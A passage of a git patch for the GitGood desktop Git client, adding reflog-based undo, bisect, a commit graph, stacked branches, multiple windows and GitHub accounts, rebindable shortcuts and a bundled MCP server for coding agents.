open repository) registered by the gitgood-review plugin. - Lazy chunks preload on idle and render directly once loaded (no 300 ms first-open delay); smoke scenarios wait for lazily mounted content. --- README.md | 13 +- package.json | 4 +- plugin/.mcp.json | 9 + plugin/README.md | 28 ++ src/main/ai/provider.ts | 1 + src/main/client.ts | 2 + src/main/core/client-context.ts | 14 + src/main/core/event-routing.ts | 34 +++ src/main/core/handlers.ts | 81 ++++-- src/main/core/host.ts | 4 + src/main/gh/accounts.ts | 100 +++++++ src/main/gh/gh.ts | 18 +- src/main/git/bisect.ts | 84 ++++++ src/main/git/branches.ts | 26 ++ src/main/git/git.ts | 6 +- src/main/git/health.ts | 2 +- src/main/git/log.ts | 2 +- src/main/git/operations.ts | 31 +- src/main/git/reflog.ts | 115 ++++++++ src/main/host/electron-host.ts | 16 +- src/main/index.ts | 69 +++-- src/main/ipc.ts | 6 +- src/main/menu.ts | 127 ++++---- src/main/repo/manager.ts | 18 +- src/main/settings/sync-core.ts | 16 +- src/main/tools.ts | 208 +++++++++----- src/main/window.ts | 27 +- src/mcp/index.ts | 21 ++ src/mcp/server.ts | 199 +++++++++++++ src/renderer/src/App.tsx | 14 +- src/renderer/src/api.ts | 1 - src/renderer/src/components/Banners.tsx | 65 ++++- src/renderer/src/components/ChangesTab.tsx | 3 +- .../src/components/CommandPalette.tsx | 2 + src/renderer/src/components/HistoryTab.tsx | 58 +++- src/renderer/src/components/Setup.tsx | 4 +- src/renderer/src/components/Toolbar.tsx | 13 +- .../src/components/dialogs/BranchDialogs.tsx | 17 +- .../src/components/dialogs/GitHubDialogs.tsx | 12 +- .../src/components/dialogs/ReflogDialogs.tsx | 90 ++++++ .../src/components/dialogs/RepoDialogs.tsx | 36 ++- .../src/components/dialogs/SettingsDialog.tsx | 183 +++++++----- src/renderer/src/components/dialogs/index.tsx | 6 + src/renderer/src/lib/lazy.ts | 34 ++- src/renderer/src/lib/shortcuts.ts | 8 + src/renderer/src/state/actions.ts | 78 ++++- src/renderer/src/state/reflog.ts | 122 ++++++++ src/renderer/src/state/store.ts | 12 +- src/renderer/src/styles/components.css | 24 ++ src/server/index.ts | 2 +- src/server/limits.ts | 2 +- src/server/web-host.ts | 8 + src/shared/graph.ts | 117 ++++++++ src/shared/ipc.ts | 38 ++- src/shared/shortcuts.ts | 271 ++++++++++++++++++ src/shared/types.ts | 59 ++++ test/event-routing.test.ts | 43 +++ test/fixture/history-graph.test.ts | 40 +++ test/fixture/repo-account.test.ts | 144 ++++++++++ test/fixture/repo-watch-clients.test.ts | 14 + test/fixture/stacked-branches.test.ts | 96 +++++++ test/fixture/tools.test.ts | 20 +- test/gh-accounts.test.ts | 99 +++++++ test/graph.test.ts | 90 ++++++ test/helpers/fake-tools.ts | 14 +- test/mcp-server.test.ts | 169 +++++++++++ test/reflog-bisect.test.ts | 198 +++++++++++++ test/shortcuts.test.ts | 146 ++++++++++ .../scenarios/17-notifications-inbox.json | 2 +- .../19-settings-sync-dialogs-render.json | 2 +- test/smoke/scenarios/20-update-banner.json | 4 +- tsconfig.node.json | 2 +- vite.mcp.config.ts | 21 ++ 73 files changed, 3320 insertions(+), 344 deletions(-) create mode 100644 plugin/.mcp.json create mode 100644 src/main/core/event-routing.ts create mode 100644 src/main/gh/accounts.ts create mode 100644 src/main/git/bisect.ts create mode 100644 src/main/git/reflog.ts create mode 100644 src/mcp/index.ts create mode 100644 src/mcp/server.ts create mode 100644 src/renderer/src/components/dialogs/ReflogDialogs.tsx create mode 100644 src/renderer/src/lib/shortcuts.ts create mode 100644 src/renderer/src/state/reflog.ts create mode 100644 src/shared/graph.ts create mode 100644 src/shared/shortcuts.ts create mode 100644 test/event-routing.test.ts create mode 100644 test/fixture/history-graph.test.ts create mode 100644 test/fixture/repo-account.test.ts create mode 100644 test/fixture/stacked-branches.test.ts create mode 100644 test/gh-accounts.test.ts create mode 100644 test/graph.test.ts create mode 100644 test/mcp-server.test.ts create mode 100644 test/reflog-bisect.test.ts create mode 100644 test/shortcuts.test.ts create mode 100644 vite.mcp.config.ts diff --git a/README.md b/README.md index 404ea21..f28b1da 100644 --- a/README.md +++ b/README.md @@ -15,13 +15,16 @@ Everything you expect from GitHub Desktop, mapped onto `git`/`gh`: - **Git LFS**: pointer files are labelled with a chip in the Changes and History file lists, and the diff pane shows the object size and both object identifiers (with an image diff when both versions are downloaded locally) instead of a binary placeholder, offering **Download** when the object is missing. A banner explains when a repository uses LFS but the extension isn't installed. The **Git LFS** dialog (Repository menu) shows install/hook status, tracked patterns, lets you track/untrack patterns, fetch all or pull objects with progress, and prune unreferenced local objects after a dry-run confirmation. - **Changes**: working-tree file list with include/exclude checkboxes, **partial commits by selecting individual lines or hunks**, discard files or selected lines (moved to the Recycle Bin), ignore file/extension, stash selected files or all changes, commit form with summary/description, co-authors, amend, 72-character warning, **AI-generated commit messages**, **AI review of the pending commit** before it exists, and **AI commit splitting** to turn one mixed working tree into an ordered, editable set of coherent commits. - **Stashes**: a dedicated view (Changes tab, Repository menu, or Ctrl+Shift+S) lists every stash — including ones created from the terminal — with file counts and an untracked-files indicator; inspect a stash's files (including untracked ones) and diffs, apply, pop, drop with confirmation, create a branch from a stash, or stash just the selected files. Stash actions are addressed by commit SHA, so dropping one entry always targets the right one even after others are dropped. +- **Undo history** (Repository → **Undo History…**): lists every place HEAD has been (from the reflog) with its action, message, age and SHA, so a bad commit, amend, merge, rebase or reset can be taken back. **Restore branch to this point** uses `git reset --keep` after a confirmation that names what moves (uncommitted changes stay; if they overlap, GitGood offers to stash them first), plus **Create branch here** and **Check out** (detached). **Undo Last Git Operation** does the same for the newest operation in one step — a whole rebase counts as one — or offers to switch back to the previous branch after a checkout. +- **Bisect** (History commit context menu): mark a commit **good** (bad defaults to HEAD) or **bad** (you pick the last known good one) to start `git bisect`; a banner shows "N revisions left (about M steps)" with **Good / Bad / Skip / Reset**, History keeps showing the branch you started from, and when git finds the first bad commit the banner shows it with **Open commit** and **Reset** (which returns you to your branch). - **History**: searchable commit list (message, author, SHA) with a **content/regex search syntax** (`content:`, `regex:`, `path:`, `author:`, `after:`, `before:`, `all:`, freely combined with plain text and a filter popover that stays in sync with it) to find when a piece of code was added, changed or removed — matching commits' file list narrows to the files that matched and the diff pane highlights the first matching line; searches are cancellable, debounced, and report invalid regexes inline. Commit details with per-file stats, revert, cherry-pick to another branch, create branch/tag from commit, checkout commit, **squash**, **reorder by drag and drop**, edit message (reword), drop commit, undo last commit, amend. **File history** scopes the commit list to one file and follows renames; from a commit you can view the file as it was, blame it, or restore that version to the working tree (with a stash-first offer if it has uncommitted changes). Select text in a diff and choose **Search history for selection** (`Ctrl+Alt+F`) to jump straight to its `content:` search. +- **Commit graph**: History draws coloured branch lanes beside the commit list — branch-offs, merges (octopus too) and lanes that keep running across pages — computed incrementally as pages load. Toggle it in the History filter popover, Options → General, or View → Toggle History Graph. It is shown only for the plain branch listing (hidden while searching, filtering or in file history, and on phone layouts) and lists commits in `--date-order`, which makes git walk the whole history first; turn it off for very large repositories if loading feels slow. - **Blame**: toggle a per-line blame gutter (`Alt+B`, the diff pane's person icon, or a file's context menu) for any text file in Changes or History — coloured by commit age, with a card per block for the commit summary, author, **Open commit**, **Copy SHA** and **Blame at parent** (re-blames before that commit, following renames). Hidden for binary, image, submodule and too-large files. -- **Branches**: create (based on default or current branch), rename, delete (with remote), switch with stash-or-carry handling of uncommitted changes, merge, squash merge, rebase, compare, update from default branch, publish, force push with lease (with confirmation), background fetch, and **Tidy up branch with AI** to squash fixups, reword and reorder commits before opening a pull request. +- **Branches**: create (based on default or current branch), rename, delete (with remote), switch with stash-or-carry handling of uncommitted changes, merge, squash merge, rebase, compare, update from default branch, publish, force push with lease (with confirmation), background fetch, and **Tidy up branch with AI** to squash fixups, reword and reorder commits before opening a pull request. **Stacked branches** (a chain of branches each built on the previous one) are detected from the current branch's history: the branch list marks the stack, rebasing offers **Update dependent branches** (`--update-refs`, Git 2.38+) so the whole stack moves with it, **Push stack** (the current branch's context menu) force-pushes every branch of the stack with lease after listing them, and **Create pull request** pre-fills the parent branch as the base. - **Commit signing** (Options → Git): configure GPG or SSH commit/tag signing at repository or global scope, with key detection (GPG keyring or `~/.ssh`), a **Test signing** action, and a commit-form indicator when the effective config signs. A failed signing attempt shows a dialog with **Retry**, **Commit unsigned this time** and **Open signing settings** — including while a squash or reword is paused mid-rebase; GitGood never reads or stores a passphrase. History can optionally verify and show good/bad/unknown-key/expired/revoked signature badges per commit (opt-in, since verification slows large histories). - **Repository health** (Repository menu or `Ctrl+Shift+K`): four independently loading cards. **Large files** lists the 25 largest blobs in history (path, size, first commit, HEAD presence, whether LFS would apply) with copy-path, add-to-.gitignore and track-with-LFS actions. **Stale branches** flags merged, inactive (configurable) and upstream-gone local branches for bulk deletion — current/default/protected branches are never selectable — with per-branch failure reporting and an Undo toast. **Unpushed work** lists, across every repository on disk, branches ahead of their upstream, unpublished branches, stashes and uncommitted changes, with one click to jump to a repository and branch; the same data drives a Welcome-screen card and an opt-in warning dot on repository rows. **Housekeeping** shows `.git` size, loose/pack/garbage object counts and last gc time, with two-step-confirmed gc, remote-tracking prune and reflog expiry (disabled mid-operation). - **Pull requests** (via `gh`): list open PRs with check status, check out a PR (including forks), create PRs (with template pre-fill, draft, or on GitHub.com — or **drafted with AI** from the branch's commits and diff), view checks, approve/comment/request changes, mark ready, merge (merge/squash/rebase), close/reopen, and **review with AI**: findings anchored to diff lines, shown as gutter markers and a findings panel, optionally posted to GitHub as a review with inline comments. The same review runs locally on the current branch against its base, without GitHub. The list also carries an **AI triage** line per pull request (state chip, one-sentence summary and a suggested next action). -- **Fix with agent** (on pull request, branch and pre-commit review findings): hands the findings to a terminal coding agent. GitGood writes every finished review to `.git/gitgood/review/latest.json` and `latest.md` (with instructions for the agent) and opens your terminal running Claude Code, Codex, omp or a custom command on that file; when the agent is done it opens a `gitgood://review/rerun` link and GitGood re-reviews so you can see what was fixed. A `gitgood-review` plugin in this repository adds a `/gitgood-review` slash command and a session-start reminder for all three agents. +- **Fix with agent** (on pull request, branch and pre-commit review findings): hands the findings to a terminal coding agent. GitGood writes every finished review to `.git/gitgood/review/latest.json` and `latest.md` (with instructions for the agent) and opens your terminal running Claude Code, Codex, omp or a custom command on that file; when the agent is done it opens a `gitgood://review/rerun` link and GitGood re-reviews so you can see what was fixed. A `gitgood-review` plugin in this repository adds a `/gitgood-review` slash command and a session-start reminder for all three agents. The plugin also registers an MCP server (`gitgood_latest_review`, `gitgood_request_rereview`, `gitgood_open_repository`) so agents can read the findings, request the re-review and open a repository as tool calls; see [plugin/README.md](plugin/README.md#mcp-server). - **AI release notes** (Repository menu, or a tag's context menu in History): pick a commit range and generate a categorized, reference-checked changelog — every bullet cites a pull request or commit in the range, with an unreferenced-items review list — then copy it, insert it into `CHANGELOG.md`, or publish a GitHub release (draft by default). Works as a plain commit-list export even with AI turned off. - **Notifications inbox** (the toolbar bell, View menu, or `Ctrl+Shift+J`): polls your GitHub notifications — review requests, failing checks, mentions, assignments, comments and state changes — grouped by repository with a reason chip, honouring the server's own poll interval and conditional requests so quota is never wasted, and pausing while the window has been unfocused for 30 minutes. Click a pull request notification from a repository already in GitGood to open it in place (anything else opens on github.com); mark items read, mark all read (confirmed once), unsubscribe, filter to review requests/failures/mentions or only your own repositories, and refresh. Shows a taskbar/dock/launcher badge with the unread count, and desktop alerts for enabled categories while the window is unfocused. Explains itself and offers a one-click fix when the token is missing notifications access, you're signed out, rate-limited, or offline (showing the last cached list). - **Issues** (Repository menu, `Ctrl+Shift+L`, or the commit form's `#` button): browse, search and filter (state, assigned/created/mentioned, labels, milestone — remembered per repository) the current repository's issues; view an issue's labels, milestone, assignees, body and latest comments (rendered as plain text with clickable links, never Markdown or HTML); **Reference in commit** appends `Fixes #N`/`Refs #N`/`Closes #N` to the commit description, **Create branch for issue** pre-fills the new-branch dialog with a slug like `123-fix-login-timeout`; close (with a one-time confirmation) or reopen, comment, and create issues from the repository's `.github/ISSUE_TEMPLATE` templates. Forks offer a toggle to browse the parent repository's issues instead. Explains itself when issues are disabled, you're signed out, or GitHub rate-limits the request. @@ -33,7 +36,9 @@ Everything you expect from GitHub Desktop, mapped onto `git`/`gh`: - **Integrations**: open in VS Code, Cursor, Sublime, Notepad++, Visual Studio, JetBrains IDEs and more; open in Windows Terminal, PowerShell, Command Prompt or Git Bash; show in Explorer; view on GitHub; create issue. - **Portable settings** (Options → Advanced, or File → Export/Import Settings…): export preferences, the repository list and integration choices to one JSON file, with a section checklist and an import preview (adds/changes/unchanged per section, merge or replace) — timestamped backups are kept before a replace. Optional **sync through a secret GitHub gist** (created or reused via the signed-in GitHub CLI): the sync card always shows which side changed since the last sync and lets you upload or download, never merging silently; disconnect keeps or deletes the gist. The export never includes your API key, saved GitHub credentials, tool paths or window position. - **Updates** (Help → Check for Updates…, or Options → Advanced): checks the GitHub releases feed (via `electron-updater`) on launch and every 6 hours for a newer stable or (on the beta channel) prerelease version — never a downgrade — then downloads it in the background and offers **Restart to update** from a banner, the Help menu and the About dialog; automatic checking, automatic download and the release channel are configurable. Installing is blocked while a git operation or AI task is running, and reopens the same repository afterwards. Disabled in development builds, portable Windows builds, unsigned macOS builds, `.deb` installs and a read-only AppImage, which show *Updates unavailable in this build* instead. +- **Multiple windows** (File → New Window, `Ctrl+Alt+N`, or **Open in New Window** in the repository list's context menu): each window has its own open repository, selection, dialogs and progress, with live updates only for the repository it shows; app-wide changes (repository list, settings, tools, inbox, updates) reach every window. Closing a window stops watching its repository. Only the first window remembers its size and position (later ones cascade); menu shortcuts, `gitgood://` links and `gitgood ` go to the focused window. Standalone desktop app only — not available when the desktop is pointed at a GitGood server. - Light/dark/system theme, keyboard shortcuts mirroring GitHub Desktop, native menus. +- **Rebindable keyboard shortcuts** (Help → Keyboard Shortcuts, `Ctrl+/`): record a new combination for any action, unbind or reset one or all, with a warning (and an offer to unbind the other action) when a combination is already taken. Overrides are part of exported/synced settings; `Ctrl` means `Cmd` on macOS. In the browser only the shortcuts the page handles itself (Changes, History, Commit) apply. See [docs/AI-FEATURES.md](docs/AI-FEATURES.md) for a deep dive into how each AI feature works, what it sends and what stays local. @@ -67,6 +72,8 @@ GitGood looks for the tools on `PATH` and in the usual install locations; you ca **Options → Accounts → Sign in to GitHub.com** runs `gh auth login --web`. GitGood shows the one-time code, opens `github.com/login/device` in your browser and waits for approval. When it completes, GitGood runs `gh auth setup-git`, so Git pushes and pulls to GitHub over HTTPS use the same token. Nothing else is stored by the app. +**Multiple accounts:** run **Add another account** in the same tab to sign in again (e.g. a personal and a work account), **Make active** to switch the account GitHub calls use by default, and **Sign out** per account. A repository can use its own account instead: **Repository settings → GitHub account** (also in the repository list's right-click menu). Its pull requests, issues and every fetch, pull and push then run with that account's token, read from `gh auth token --user` into memory only; it is never stored, logged or exported. Changing the active account later does not affect such repositories. + ## Server mode (web access over your tailnet) GitGood can also run **headless as a web server** so you can reach it from a browser on another device — e.g. your desktop's GitGood open on a laptop or phone — over your [Tailscale](https://tailscale.com) tailnet. The same UI and the same `git`/`gh` backend run; only the transport changes (HTTP + WebSocket instead of Electron IPC). @@ -119,7 +126,7 @@ If the desktop app and the server run different versions, the desktop warns once ## Keyboard shortcuts -Ctrl+K command palette (Ask GitGood) · Ctrl+1 Changes · Ctrl+2 History · Ctrl+Shift+S stashes · Ctrl+Shift+W worktrees · Ctrl+Shift+K repository health · Ctrl+Shift+L issues · Ctrl+Shift+J notifications inbox · Ctrl+T repositories · Ctrl+B branches · Ctrl+Enter commit · Ctrl+P push · Ctrl+Shift+P pull · Ctrl+Shift+T fetch · Ctrl+Shift+N new branch · Ctrl+R create pull request · Ctrl+Shift+R review pull request with AI · Ctrl+Shift+D toggle split diff · Alt+B toggle blame · Ctrl+` open terminal · Ctrl+Shift+A open in editor · Ctrl+/ all shortcuts. +Ctrl+K command palette (Ask GitGood) · Ctrl+1 Changes · Ctrl+2 History · Ctrl+Shift+S stashes · Ctrl+Shift+W worktrees · Ctrl+Shift+K repository health · Ctrl+Shift+L issues · Ctrl+Shift+J notifications inbox · Ctrl+T repositories · Ctrl+B branches · Ctrl+Enter commit · Ctrl+P push · Ctrl+Shift+P pull · Ctrl+Shift+T fetch · Ctrl+Shift+N new branch · Ctrl+R create pull request · Ctrl+Shift+R review pull request with AI · Ctrl+Shift+D toggle split diff · Alt+B toggle blame · Ctrl+` open terminal · Ctrl+Shift+A open in editor · Ctrl+/ all shortcuts. These are the defaults; change them in the shortcuts dialog. ## License diff --git a/package.json b/package.json index 75c676a..8651628 100644 --- a/package.json +++ b/package.json @@ -12,9 +12,11 @@ "homepage": "https://github.com/erwin-wee/gitgood", "scripts": { "dev": "electron-vite dev", - "build": "electron-vite build && npm run build:server", + "build": "electron-vite build && npm run build:server && npm run build:mcp", "build:server": "vite build --config vite.server.config.ts", + "build:mcp": "vite build --config vite.mcp.config.ts", "start:server": "node out/server/index.mjs", + "start:mcp": "node out/mcp/index.mjs", "install:service": "node scripts/install-service.mjs", "preview": "electron-vite preview", "start": "electron-vite preview", diff --git a/plugin/.mcp.json b/plugin/.mcp.json new file mode 100644 index 0000000..5c69ef8 --- /dev/null +++ b/plugin/.mcp.json @@ -0,0 +1,9 @@ +{ + "mcpServers": { + "gitgood": { + "command": "gitgood", + "args": ["-e", "import(require('node:url').pathToFileURL(require('node:path').join(process.resourcesPath,'app.asar','out','mcp','index.mjs')).href)", "--", "--no-sandbox"], + "env": { "ELECTRON_RUN_AS_NODE": "1" } + } + } +} diff --git a/plugin/README.md b/plugin/README.md index a34a2e4..d31f944 100644 --- a/plugin/README.md +++ b/plugin/README.md @@ -8,6 +8,7 @@ Lets a terminal coding agent fix the AI review findings that [GitGood](https://g | `commands/gitgood-review.md` | Claude Code and omp (`/gitgood-review`) | | `hooks/hooks.json` + `hooks/session-start.sh` | Claude Code and Codex (one-line reminder when a repository has open findings) | | `hooks/pre/session-start.ts` | omp (same reminder) | +| `.mcp.json` | Claude Code and omp (the GitGood MCP server, see [MCP server](#mcp-server)) | | `.claude-plugin/plugin.json`, `plugin.json`, `package.json` | Claude Code, Codex, omp manifests | GitGood writes the findings to `/gitgood/review/latest.json` and `latest.md` after every review, so the plugin needs no server, CLI or network access. The **Fix with agent** button in GitGood opens your terminal with the agent already pointed at `latest.md`; the plugin adds discovery (the session-start reminder) and the slash command on top. @@ -40,3 +41,30 @@ The exported `latest.md` starts with the same instructions as the skill, so any After a **pre-commit** review the agent finishes by opening `gitgood://review/rerun?repo=&token=` (the exact command is in `latest.json` under `rerun.command`). GitGood, if running with that repository in its list, re-runs the review (a link without a valid, unspent token first asks the user to confirm the repository and files) over the working tree and rewrites `latest.json` with a new `runId` whose `previousRunId` points at the run the agent worked from. After a **pull request or branch** review, `rerun` is `null` and the agent stops instead: those reviews read committed history, so they cannot see edits still in the working tree. Commit the agent's changes in GitGood and press Re-review. + +## MCP server + +GitGood ships a small [MCP](https://modelcontextprotocol.io) server (stdio, no dependencies, source in `src/mcp`, built to `out/mcp/index.mjs`) so an agent can use the handoff as tools instead of reading files and running `xdg-open`: + +| Tool | Does | +| --- | --- | +| `gitgood_latest_review` (`repoPath`) | The open findings of the latest export (file, line, severity, title, message, suggestion) plus the re-review link. Read-only. | +| `gitgood_request_rereview` (`repoPath`) | Opens the export's single-use `gitgood://review/rerun` link so GitGood re-reviews the working tree. Fails when the latest review has no link (pull request and branch reviews). | +| `gitgood_open_repository` (`path`) | Opens the repository in GitGood (starts the app, or hands the folder to the running one). | + +`repoPath` may be any folder inside the repository or a linked worktree; the export is looked up in that checkout's own git directory, as the app does. + +**Plugin.** `.mcp.json` registers the server for Claude Code and omp when the plugin is installed. It starts the installed app's own runtime in Node mode (`ELECTRON_RUN_AS_NODE=1 gitgood -e `), so it needs the `gitgood` command on `PATH` (the Linux installer creates it). On macOS use `/Applications/GitGood.app/Contents/MacOS/GitGood`, on Windows `%LOCALAPPDATA%\Programs\GitGood\GitGood.exe`, as `command` in your own copy of the entry (below). + +**Any MCP client, installed app.** Same command and environment as `.mcp.json`. Codex (`~/.codex/config.toml`): + +```toml +[mcp_servers.gitgood] +command = "gitgood" +args = ["-e", "import(require('node:url').pathToFileURL(require('node:path').join(process.resourcesPath,'app.asar','out','mcp','index.mjs')).href)", "--", "--no-sandbox"] +env = { ELECTRON_RUN_AS_NODE = "1" } +``` + +omp (`~/.omp/agent/mcp.json`, or `.omp/mcp.json` per project) takes the `mcpServers` entry from `.mcp.json` unchanged. + +**From a checkout.** `npm run build` (or just `npm run build:mcp`), then point the client at `node /path/to/gitgood/out/mcp/index.mjs`, e.g. `claude mcp add gitgood -- node /path/to/gitgood/out/mcp/index.mjs`. `gitgood_open_repository` then needs a GitGood executable to start: put `gitgood` on `PATH` or set `GITGOOD_APP` to the executable (a running GitGood must have been started from that same build for the folder to land in it). diff --git a/src/main/ai/provider.ts b/src/main/ai/provider.ts index 893f934..27d6776 100644 --- a/src/main/ai/provider.ts +++ b/src/main/ai/provider.ts @@ -24,6 +24,7 @@ export async function createBackend(store: Store, tools: ToolLocator, feature: A const settings = store.getSettings().ai; if (settings.provider === 'disabled') throw new AiError('AI features are turned off. Enable them in Options → AI.', 'not-configured'); if (settings.provider === 'claude-cli') { + await tools.ensure('claudeCli'); const path = tools.claudePath(); if (!path) throw new AiError('Claude Code CLI was not found. Install it or switch to an Anthropic API key in Options → AI.', 'not-configured'); return { backend: withUsage(new ClaudeCliBackend(path, await tools.env()), feature), settings }; diff --git a/src/main/client.ts b/src/main/client.ts index e84a07b..f141956 100644 --- a/src/main/client.ts +++ b/src/main/client.ts @@ -9,6 +9,7 @@ import { ElectronHost } from './host/electron-host'; import { sendEvent } from './ipc'; import { ensureManagedServer, readUnit } from './local-server'; import { log } from './logger'; +import { refreshMenuShortcuts } from './menu'; import type { Store } from './store'; import { compareVersions } from './update/update-core'; import type { Updater } from './update/updater'; @@ -172,6 +173,7 @@ export function registerClientIpc(serverUrl: string, store: Store, getWindow: () await host.openExternal(url); }, 'app.notify': (title, body) => host.notify(title, body), + 'app.setShortcuts': async (overrides) => refreshMenuShortcuts(overrides), 'app.zoom': async (direction) => { const next = host.zoom(direction); store.updateState({ zoomLevel: next }); diff --git a/src/main/core/client-context.ts b/src/main/core/client-context.ts index d35e2f6..30dbdf5 100644 --- a/src/main/core/client-context.ts +++ b/src/main/core/client-context.ts @@ -1,4 +1,5 @@ import { AsyncLocalStorage } from 'node:async_hooks'; +import { isAbsolute } from 'node:path'; /** * The client a handler call belongs to. The server runs each invoke inside @@ -12,6 +13,19 @@ export function currentClient(): string { return clientContext.getStore() ?? ''; } +/** + * The repository (path) whose handler call is running, so gh/git calls made deep inside services use + * that repository's chosen GitHub account (see `ToolLocator.repoAccount`). + */ +export const repoScope = new AsyncLocalStorage(); + +/** Wraps, in place, every handler whose first argument is an absolute path so it runs inside `repoScope`. */ +export function scopeRepoHandlers(handlers: Record Promise>): void { + for (const [method, inner] of Object.entries(handlers)) { + handlers[method] = (...args) => (typeof args[0] === 'string' && isAbsolute(args[0]) ? repoScope.run(args[0], () => inner(...args)) : inner(...args)); + } +} + const controllerOwners = new WeakMap(); /** An AbortController tagged with the client that started the job, so `cancelOwned` can leave other clients' jobs alone. */ diff --git a/src/main/core/event-routing.ts b/src/main/core/event-routing.ts new file mode 100644 index 0000000..a0679c5 --- /dev/null +++ b/src/main/core/event-routing.ts @@ -0,0 +1,34 @@ +import type { EventName } from '@shared/ipc'; + +/** The client id of a desktop window: one per `webContents`, stable for the window's lifetime. */ +export function windowClientId(webContentsId: number): string { + return `window-${webContentsId}`; +} + +/** Events that belong to the call that caused them (progress, AI streams, the GitHub sign-in flow): only the calling window gets them. Every other event is app-wide. */ +const CALLER_EVENTS: Partial> = { + progress: true, + 'ai.progress': true, + 'ai.review.progress': true, + 'ai.triage.progress': true, + 'ai.split.progress': true, + 'ai.rebase.progress': true, + 'ai.nl.progress': true, + 'gh.auth.code': true, + 'gh.auth.finished': true, +}; + +/** + * Which desktop windows receive an event. + * - `repo.changed` goes to the windows that have that repository open (`watchersOf`). + * - Caller events go to the window whose call emitted them (`caller`, from `currentClient()`); with no calling window (empty id) they fall back to everyone. + * - Anything else (repository list, settings, tools, inbox, updates, …) goes to every window. + */ +export function windowsFor(event: EventName, payload: unknown, caller: string, windows: W[], watchersOf: (repoPath: string) => string[]): W[] { + if (event === 'repo.changed') { + const owners = payload !== null && typeof payload === 'object' && 'repoPath' in payload && typeof payload.repoPath === 'string' ? watchersOf(payload.repoPath) : []; + return windows.filter((w) => owners.includes(w.clientId)); + } + if (CALLER_EVENTS[event] && caller) return windows.filter((w) => w.clientId === caller); + return windows; +} diff --git a/src/main/core/handlers.ts b/src/main/core/handlers.ts index ab62576..fb610c5 100644 --- a/src/main/core/handlers.ts +++ b/src/main/core/handlers.ts @@ -23,18 +23,20 @@ import { discoverIssueTemplates } from '../gh/issue-templates'; import type { SettingsSyncService } from '../gh/settings-sync'; import { GitError, toGitErrorInfo, type GitClient } from '../git/git'; import { difftoolArgs, launchGitTool } from '../git/external-tools'; +import { bisectHistoryRef, bisectMark, bisectReset, bisectStart, getBisectState } from '../git/bisect'; import { getBlameResult, readFileAtCommit } from '../git/blame'; -import { checkoutBranch, checkoutRemoteBranch, createBranch, deleteLocalBranch, deleteRemoteBranch, getBranches, getCurrentBranchName, getDefaultBranch, renameBranch } from '../git/branches'; +import { checkoutBranch, checkoutRemoteBranch, createBranch, deleteLocalBranch, deleteRemoteBranch, getBranches, getCurrentBranchName, getDefaultBranch, getStackParents, renameBranch } from '../git/branches'; import { applyPatchToWorktree, createCommit, getLastCommitMessage, isUnborn, readCommitTemplate, stageFiles, undoLastCommit, unstageFiles } from '../git/commit'; import { getCommitFileDiff, getRangeFileDiff, getRangeFiles, getStashFileDiff, getStashFiles, getWorkingDiff, toFsPath } from '../git/diff'; import { deleteManyBranches, expireReflog, findLargestBlobs, getHousekeeping, getStaleBranches, pruneRemote, runGc } from '../git/health'; import { getLfsFiles, getLfsStatus, lfsFetch, lfsInstallLocal, lfsPrune, setLfsTracking } from '../git/lfs'; import { compareRefs, getCommit, getCommitFiles, getHistory, getMatchingFiles, getPathHistory, isCommitPushed, parseNameStatusZ } from '../git/log'; import * as ops from '../git/operations'; +import { getReflog, getUndoPlan, resetKeep } from '../git/reflog'; import { gpgKeyExists, listGpgSecretKeys, listSshPublicKeys, normalizeSshSigningKey, sshKeyFileExists, testGpgSigning, testSshSigning } from '../git/signing'; import { getStatus } from '../git/status'; import { getSubmodules, syncSubmodules, updateSubmodules } from '../git/submodules'; -import { currentClient } from './client-context'; +import { currentClient, scopeRepoHandlers } from './client-context'; import { addWorktree, listWorktrees, lockWorktree, pruneWorktrees, removeWorktree } from '../git/worktree'; import { repoSelector, type GhClient } from '../gh/gh'; import { findPullRequestTemplate } from '../gh/pr-template'; @@ -48,7 +50,7 @@ import { addWatchedFolder, folderProblem, sanitizeWatchedFolders, type WatchedFo import type { Store } from '../store'; import type { ToolLocator } from '../tools'; import { agentTemplate, expandAgentCommand, validateAgentTemplate } from '@shared/agent-presets'; -import { canInstall } from '../update/update-core'; +import { canInstall, compareVersions } from '../update/update-core'; import type { Updater } from '../update/updater'; import { UnsupportedCapabilityError, type HostCapabilities } from './host'; @@ -204,6 +206,12 @@ export function createHandlers(deps: HandlerDeps): CoreHandlers { return ops.getPullRebaseConfig(git, repoPath); }; + /** `git rebase --update-refs` arrived in git 2.38. */ + const gitCanUpdateRefs = (): boolean => { + const version = tools.current().git.version; + return !!version && compareVersions(version, '2.38.0') >= 0; + }; + const stashBeforeCheckout = async (repoPath: string, strategy: AppSettings['uncommittedChangesStrategy']) => { if (strategy !== 'stash') return; const status = await freshStatus(repoPath); @@ -251,12 +259,12 @@ export function createHandlers(deps: HandlerDeps): CoreHandlers { const handlers: ApiMethods = { // ---------------- app ---------------- 'app.info': async () => ({ version: host.appVersion(), electron: process.versions.electron ?? '', platform: process.platform, userDataPath: host.userDataPath(), logPath: getLogPath() }), - // Without awaiting the local scan, the first call would answer with the - // pre-scan state (every tool "not installed") and the renderer would flash - // the "GitGood needs Git to run" setup screen before startup finished. + // Without awaiting the git probe, the first call would answer with the pre-scan state and the renderer + // would flash the "GitGood needs Git to run" setup screen. The other probes (gh, claude, gpg, …) are + // not awaited: they flag `pending` and arrive later as `tools.changed`. 'app.tools': async (refresh) => { if (refresh) return tools.refresh(); - await tools.ensureLocated(); + await tools.ensure('git'); return tools.current(); }, 'app.settings.get': async () => store.getSettings(), @@ -279,7 +287,7 @@ export function createHandlers(deps: HandlerDeps): CoreHandlers { } const next = store.updateSettings(patch); if (patch.gitPath !== undefined || patch.ghPath !== undefined || patch.ai?.claudeCliPath !== undefined) { - void tools.refresh().then((s) => send('tools.changed', s)); + void tools.refresh(); } if (patch.theme && patch.theme !== before.theme) { host.setTheme(patch.theme); @@ -330,6 +338,8 @@ export function createHandlers(deps: HandlerDeps): CoreHandlers { 'app.isRepository': async (p) => (await ops.getTopLevel(git, p)) !== null, 'app.joinPath': async (...parts) => join(...parts), 'app.log': async (level, message) => log[level](`[renderer] ${message}`), + 'app.newWindow': async (repoId) => host.openWindow(repoId), + 'app.setShortcuts': async (overrides) => host.setMenuShortcuts(overrides), 'app.zoom': async (direction) => { const next = host.zoom(direction); store.updateState({ zoomLevel: next }); @@ -348,25 +358,31 @@ export function createHandlers(deps: HandlerDeps): CoreHandlers { 'gh.auth.status': async () => gh.account(), 'gh.auth.login': async (host) => { const result = await gh.login(host, (code, url) => send('gh.auth.code', { code, url })); - const state = await tools.refresh(); - send('tools.changed', state); + await tools.refreshAuth(); send('gh.auth.finished', result); return result; }, 'gh.auth.cancelLogin': async () => 